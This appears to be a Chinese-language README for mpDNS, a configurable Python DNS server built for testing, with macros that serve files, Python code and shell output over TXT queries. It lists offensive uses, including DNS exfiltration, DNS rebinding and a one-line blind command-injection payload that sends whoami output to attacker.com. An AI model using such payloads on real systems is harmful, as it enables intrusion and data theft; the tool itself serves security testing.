mpDNS:Python实现的多功能DNS服务器
简单、可配置的“ clone和run ”DNS服务器,具有多种有用的功能。
适用于Python 2和3
names.db – >包含所有自定义记录(参见示例)
简单的通配符,如* .example.com
捕获unicode dns请求
自定义动作又称宏:
支持的查询类型:A,CNAME,TXT
更新names.db记录而不重启/重新加载./mpdns.py -e
重度基于https://github.com/circuits/circuits/blob/master/examples/dnsserver.py
用法: ./mpdns.py
编辑names.db,./mpdns.py -e无需重启
进攻和防守目的:
1.您需要一个轻量级的简单DNS服务器解决方案用于测试目的(不生产!)
2.测试Web应用程序中的各种盲注漏洞(例如/ping.php?ip=$(dig $(whoami).attacker.com))
3.在一个TXT查询中轻松渗透65K数据
4.DNS重新绑定
5.对特定查询执行自定义宏操作(在恶意软件分析实验室环境中很有用)
6.还有更多。它是高度可定制的。
安装
git clone https://github.com/nopernik/mpDNS
限制
1.由于UDP数据报限制为65535字节,DNS响应限制在约65200字节, 此限制适用于TXT分成256字节块的记录,直到响应达到***允许值65200b, 因此TXT宏记录{{file:localfile.txt}}限制为65200字节。
2.不支持嵌套通配符 test.*.example.com
3.{{resolve::example.com}}宏中不支持自定义DNS服务器解析程序
4.TTL始终设为0
例子
names.db示例:
使用names.db示例输出示例:
DB的定期解决方案:
mpDNS输出:
递归CNAME解析:
mpDNS输出:
通配符解析:
mpDNS输出:
通配符子域解析:
mpDNS输出:
转发请求宏:
mpDNS输出:
自定义域宏的转发请求:
mpDNS输出:
通过TXT查询文件内容宏:
mpDNS输出:
通过TXT查询自定义python代码宏:
mpDNS输出:
Shell命令宏通过TXT查询:
mpDNS输出:
mpDNS:Python实现的多功能DNS服务器